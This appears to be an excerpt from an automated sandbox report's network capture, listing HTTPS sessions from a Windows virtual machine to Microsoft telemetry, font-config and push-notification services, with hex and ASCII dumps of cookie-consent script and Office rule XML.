2024-11-30 03:12:45 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-30 03:12:45 UTC	710	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent
2024-11-30 03:12:45 UTC	3568	IN	Data Raw: 74 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 Data Ascii: t("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentCha

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:45 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b6e778c-d01e-005a-3367-407fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031245Z-174f7845968zgtf6hC1EWRqd8s0000000tx0000000000uv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:45 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:45 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:45 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 15a89213-901e-0083-02aa-42bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031245Z-174f7845968frfdmhC1EWRxxbw00000010yg0000000054gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 03:12:45 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49812	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-30 03:12:45 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=144227 Date: Sat, 30 Nov 2024 03:12:45 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-30 03:12:45 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49810	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:45 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 64 49 71 68 77 71 78 37 6b 79 2f 77 52 57 47 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 33 31 30 39 62 61 66 61 36 62 35 30 36 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9dIqhwqx7ky/wRWG.1Context: 5b3109bafa6b5062
2024-11-30 03:12:45 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:45 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 64 49 71 68 77 71 78 37 6b 79 2f 77 52 57 47 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 33 31 30 39 62 61 66 61 36 62 35 30 36 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 9dIqhwqx7ky/wRWG.2Context: 5b3109bafa6b5062<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:45 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 39 64 49 71 68 77 71 78 37 6b 79 2f 77 52 57 47 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 33 31 30 39 62 61 66 61 36 62 35 30 36 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 9dIqhwqx7ky/wRWG.3Context: 5b3109bafa6b5062<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-30 03:12:46 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:46 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 4d 4c 4d 6d 42 4b 31 34 6b 53 73 4b 6a 4c 33 53 38 56 5a 36 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0MLMmBK14kSsKjL3S8VZ6w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:45 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:45 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7e595f47-c01e-0049-281b-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031245Z-174f7845968pght8hC1EWRyvxg0000000430000000000zcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:46 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:46 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031246Z-174f7845968ljs8phC1EWRe6en00000010p000000000bspu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:46 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031246Z-174f7845968vqt9xhC1EWRgten00000010tg00000000fs9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031247Z-174f7845968kvnqxhC1EWRmf3g0000000mr0000000003w7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:47 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:47 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a67ffab-601e-00ab-7222-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031247Z-174f7845968pght8hC1EWRyvxg00000003w000000000m1kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:47 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49821	13.107.246.63	443	6288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
